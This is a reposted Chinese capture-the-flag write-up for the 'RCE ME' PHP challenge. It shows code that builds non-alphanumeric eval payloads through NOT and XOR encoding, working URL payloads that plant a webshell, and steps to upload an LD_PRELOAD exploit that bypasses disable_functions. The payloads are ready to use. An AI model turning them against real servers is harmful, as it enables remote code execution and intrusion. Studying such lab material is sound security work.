首页 > 其他 > 详细

[极客大挑战 2019]RCE ME

时间:2021-03-14 00:11:27      阅读:34      评论:0      收藏:0      [点我收藏+]

[极客大挑战 2019]RCE ME

知识点:

无字符webshell

绕过disable_functions提权

解题:

<?php
error_reporting(0);
if(isset($_GET[‘code‘])){
            $code=$_GET[‘code‘];
                    if(strlen($code)>40){
                                        die("This is too Long.");
                                                }
                    if(preg_match("/[A-Za-z0-9]+/",$code)){
                                        die("NO.");
                                                }
                    @eval($code);
}
else{
            highlight_file(__FILE__);
}

// ?>

很明显无字符webshell,百度学习了下,我们可以通过取反加url加密构造结果,脚本如下:

<?php 
error_reporting(0);

$a=‘assert‘;
$b=urlencode(~$a);
echo $b;

echo "<br>";
$c=‘(eval($_POST["test"]))‘;
$d=urlencode(~$c);
echo $d;
 
 ?>

技术分享图片

直接:?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%DD%8B%9A%8C%8B%DD%A2%D6%D6)

蚂蚁的剑连接,发现flag文件为空,所以我们需要执行readflag shell读取,但是因为限制了很多函数,所以我们需要绕过disable_functions,通过https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD获得exp

在/var/tmp/目录存在上传权限,上传我们的exp

技术分享图片

包含我们的exp执行命令

?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/var/tmp/shell.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so

得到flag

[极客大挑战 2019]RCE ME

原文:https://www.cnblogs.com/w0s1np/p/14530705.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!